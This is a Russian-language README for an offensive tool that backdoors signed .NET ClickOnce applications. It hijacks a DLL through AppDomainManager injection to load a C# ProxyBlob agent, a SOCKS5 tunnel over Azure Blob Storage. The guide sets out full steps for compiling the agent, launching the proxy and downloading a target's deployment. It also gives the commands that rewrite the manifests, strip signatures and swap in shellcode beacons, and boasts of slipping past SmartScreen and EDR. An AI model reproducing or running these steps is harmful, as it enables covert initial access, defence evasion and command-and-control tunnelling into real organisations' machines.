
Используйте подписанные приложения .NET ClickOnce для первоначального доступа путем перехвата зависимой DLL через внедрение AppDomainManager и загрузки порта C# агента ProxyBlob.

Вооружаем подписанные .NET ClickOnce приложения для начального доступа путем перехвата зависимой DLL через внедрение AppDomainManager и загрузки C#-порта агента ProxyBlob. В комплекте идет порт на C# ProxyBlob — SOCKS5-прокси, который туннелирует весь трафик через Azure Blob Storage, маскируясь в средах, где *.blob.core.windows.net внесен в белый список.
ClickOnce — это технология развертывания Microsoft для .NET-приложений одним щелчком мыши. Когда пользователь переходит по URL .application, Windows загружает и запускает приложение без прав администратора. Атака:
.exe.config, который сообщает CLR, что нашу DLL нужно загрузить как AppDomainManagerХост-файл .exe остается нетронутым и валидно подписанным. SmartScreen видит известный бинарник. EDR видит доверенный процесс, загружающий модули. Ваш агент общается только с Azure Blob Storage по HTTPS.
├── clickonce_backdoor.py # Основной скрипт для бэкдоринга DLL агента ProxyBlob в ClickOnce-приложение
├── examples/
│ ├── ProxyBlobAgent.cs # DLL-полезная нагрузка агента ProxyBlob для ClickOnce (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # Автономный консольный агент ProxyBlob (для тестирования)
│ ├── ShellcodeLoader.cs # Альтернатива: загрузчик шелл-кода
│ └── MessageBoxPoC.cs # PoC: сообщение (проверяет работу внедрения)
└── README.md
Атакующий (Linux/macOS):
Сборочная машина (Windows):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (обнаруживается автоматически)nuget.exe рядом со скриптом или добавить в PATH (требуется только для режима --proxyblob)Скрипт автоматически находит csc.exe и nuget.exe. Для --proxyblob BouncyCastle и ILMerge автоматически устанавливаются через NuGet при первом запуске в каталог packages/ рядом со скриптом (сохраняется между запусками).
Код агента архитектурно-нейтрален (нет P/Invoke, нет шелл-кода). Флаг --platform (передается в csc.exe /platform:) управляет тем, как CLR его загружает:
--platform | Работает на x86 Windows | Работает на x64 Windows | Когда использовать |
|---|---|---|---|
x86 (по умолчанию) | 32-бит | 32-бит (WoW64) | Целевое приложение x86 |
x64 | ✗ | 64-бит | Целевое приложение x64 |
anycpu | 32-бит | 64-бит | Автономное тестирование или целевое приложение AnyCPU |
Проверьте целевое приложение с помощью corflags.exe TargetApp.exe, чтобы определить его платформу.
# Создание учетной записи хранения
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# Получение ключей
az storage account keys list --account-name yourblobaccount --output table
Или используйте Azurite локально:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
В оболочке прокси:
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

Сохраните эту строку подключения — она понадобится агенту.
Всегда проверяйте, что агент работает независимо, прежде чем интегрировать его в ClickOnce.
На сборочной машине Windows:
# Компиляция
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge в один exe (чтобы BouncyCastle был встроен)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# Запуск
Agent.exe <connection-string>
На стороне прокси:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
Проверка:
proxychains curl http://ipconfig.io
Если это сработало, переходите к интеграции с ClickOnce.
Найдите целевое ClickOnce-приложение во время разведки (ищите URL с .application). Вам нужно:
Загрузите все развертывание ClickOnce:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

Скрипт автоматически компилирует C#-исходник, обрабатывает зависимости NuGet (для --proxyblob), выполняет ILMerge BouncyCastle в DLL и исправляет все манифесты — все за один запуск:

# Режим ProxyBlob — автоматическая компиляция, установка NuGet-пакетов, слияние
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# Режим PoC — быстрая проверка работы внедрения
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Режим шелл-кода
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# Целевое приложение x64
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output

Скрипт обрабатывает: генерацию C#-исходника с вашими настройками, компиляцию через csc.exe, ILMerge BouncyCastle (для --proxyblob), замену DLL, создание .exe.config с внедрением AppDomainManager, добавление обоих файлов в манифесты, пересчет всех SHA256-хэшей и размеров файлов, удаление подписей кода, обнуление publicKeyToken поставщика и обновление URL поставщика развертывания.